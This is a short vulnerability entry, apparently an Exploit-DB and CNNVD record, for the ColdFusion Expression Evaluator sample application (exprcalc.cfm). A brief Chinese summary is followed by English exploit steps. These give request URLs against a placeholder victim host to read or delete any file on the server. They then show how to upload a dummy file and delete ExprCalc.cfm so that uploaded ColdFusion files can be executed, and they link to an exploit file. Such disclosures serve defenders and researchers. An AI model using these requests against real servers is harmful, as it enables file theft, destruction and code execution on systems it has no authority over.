https://www.exploit-db.com/exploits/19093
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-084

ColdFusion中的表达式计算器示例应用程序存在漏洞，远程攻击者利用该漏洞通过exprcalc.cfm读取或删除服务器上的文件。exprcalc.cfm可以正确的无限制的访问服务器的。

source: http://www.securityfocus.com/bid/115/info

To display and delete any file on the system use an URL of the following form:

http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:thetargetfile

To upload files to the sever first find out the location of the sample code on the server by uploading a dummy file by using http://www.victim.test/cfdocs/expeval/openfile.cfm. After uploading a dummy file it will be displayed for you. The URL will be for the form:

http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?RequestTimeout=2000&OpenFilePath=C:Inetpubwwwrootcfdocsexpeval.dummy.txt

Now replace the "dummy.txt" string by "ExprCalc.cfm" to delete that file. We can now upload and execute ColdFusion files in the server without them being deleted.

https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/19093.cfm

来源:BID
名称:115
链接:http://www.securityfocus.com/bid/115